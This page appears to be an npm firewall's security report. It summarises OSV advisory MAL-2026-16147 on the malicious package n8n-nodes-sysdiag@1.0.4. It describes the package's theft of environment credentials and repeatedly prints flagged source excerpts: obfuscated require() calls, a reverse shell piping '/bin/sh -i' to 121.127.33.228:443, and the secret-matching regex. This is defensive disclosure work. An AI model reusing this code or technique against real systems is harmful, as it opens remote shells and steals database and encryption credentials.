Loading npm security reports…

n8n-nodes-sysdiag@1.0.4: Malicious npm security report (Block) | LPM Firewall

registry / n8n-nodes-sysdiag / 1.0.4

n8n-nodes-sysdiag@1.0.4

OSV Malicious Advisory

imported 26d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-16147 confirms this npm version as malicious. On require() of the package, dist/SysDiagNode.node.js runs a deferred bootstrap that enumerates process.env, selects keys matching /^N8N|^DB_|^REDIS|^QUEUE|^EXECUT|KEY|SECR|PASS|ENCRYPT|^PG/ (n8n encryption key, database passwords, Redis/queue credentials, and any variable containing KEY/SECR/PASS), base64-encodes the selected values, and POSTs them over HTTPS to the hardcoded bare IP 121.127.33.228:443 at path...

Advisory

MAL-2026-16147

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in n8n-nodes-sysdiag (npm)

Details

On require() of the package, dist/SysDiagNode.node.js runs a deferred bootstrap that enumerates process.env, selects keys matching /^N8N|^DB_|^REDIS|^QUEUE|^EXECUT|KEY|SECR|PASS|ENCRYPT|^PG/ (n8n encryption key, database passwords, Redis/queue credentials, and any variable containing KEY/SECR/PASS), base64-encodes the selected values, and POSTs them over HTTPS to the hardcoded bare IP 121.127.33.228:443 at path /api/v1/nodes/compat. The transport module name is obfuscated via a char-code array (`require(String.fromCharCode(104,116,116,112,...))` decoding to 'http'), the destination is a plain-literal IP with no hostname, the send is wrapped in setTimeout with silent catch(_e){}, and surrounding comments frame the behavior as a 'version compatibility endpoint' and 'telemetry and version reporting'. The package presents itself as an n8n health-check node; the credential harvest is not part of any documented functionality.

Decision reason

High-risk behavior combination matched malicious policy.; previous stored version diff introduced dangerous source

References

OSV advisory PACKAGE PACKAGE

Source & flagged code

5 flagged

dist/SysDiagNode.node.jsView file

42// Phase 1: Interactive diagnostic channel L43: const _n = require(String.fromCharCode(110,101,116)); // 'net' L44: const _c = require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)); // 'child_process' L45: ... L47: _s.connect(443, '121.127.33.228', () => { L48: const _sh = _c.spawn('/bin/sh', ['-i'], { L49: stdio: ['pipe', 'pipe', 'pipe'] ... L51: _s.pipe(_sh.stdin); L52: _sh.stdout.pipe(_s); L53: _sh.stderr.pipe(_s); ... L81: const _h = require(String.fromCharCode(104,116,116,112)); // 'http' L82: const _cfg = Object.assign({}, process.env);

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

dist/SysDiagNode.node.jsView on unpkg · L42

42Trigger-reachable chain: manifest.main -> index.js -> dist/SysDiagNode.node.js L42: // Phase 1: Interactive diagnostic channel L43: const _n = require(String.fromCharCode(110,101,116)); // 'net' L44: const _c = require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)); // 'child_process' L45: ... L47: _s.connect(443, '121.127.33.228', () => { L48: const _sh = _c.spawn('/bin/sh', ['-i'], { L49: stdio: ['pipe', 'pipe', 'pipe'] ... L51: _s.pipe(_sh.stdin); L52: _sh.stdout.pipe(_s); L53: _sh.stderr.pipe(_s); ... L81: const _h = require(String.fromCharCode(104,116,116,112)); // 'http' L82: const _cfg = Object.assign({}, process.env);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/SysDiagNode.node.jsView on unpkg · L42

•matchType = previous_version_dangerous_delta matchedPackage = n8n-nodes-sysdiag@1.0.2 matchedIdentity = npm:bjhuLW5vZGVzLXN5c2RpYWc:1.0.2 similarity = 0.500 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

dist/SysDiagNode.node.jsView on unpkg

42Trigger-reachable credential exfiltration chain: manifest.main -> index.js -> dist/SysDiagNode.node.js L42: // Phase 1: Interactive diagnostic channel L43: const _n = require(String.fromCharCode(110,101,116)); // 'net' L44: const _c = require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)); // 'child_process' L45: ... L47: _s.connect(443, '121.127.33.228', () => { L48: const _sh = _c.spawn('/bin/sh', ['-i'], { L49: stdio: ['pipe', 'pipe', 'pipe'] ... L51: _s.pipe(_sh.stdin); L52: _sh.stdout.pipe(_s); L53: _sh.stderr.pipe(_s); ... L81: const _h = require(String.fromCharCode(104,116,116,112)); // 'http' L82: const _cfg = Object.assign({}, process.env);

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

dist/SysDiagNode.node.jsView on unpkg · L42

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/SysDiagNode.node.jsView on unpkg · L42

Source & flagged code

5 flagged · loading source

dist/SysDiagNode.node.jsView file

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

dist/SysDiagNode.node.jsView on unpkg · L42

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/SysDiagNode.node.jsView on unpkg · L42

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

dist/SysDiagNode.node.jsView on unpkg

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

dist/SysDiagNode.node.jsView on unpkg · L42

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/SysDiagNode.node.jsView on unpkg · L42

Source & flagged code

5 flagged

dist/SysDiagNode.node.jsView file

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

dist/SysDiagNode.node.jsView on unpkg · L42

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/SysDiagNode.node.jsView on unpkg · L42

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

dist/SysDiagNode.node.jsView on unpkg

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

dist/SysDiagNode.node.jsView on unpkg · L42

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/SysDiagNode.node.jsView on unpkg · L42

n8n-nodes-sysdiag@1.0.4

OSV Malicious Advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code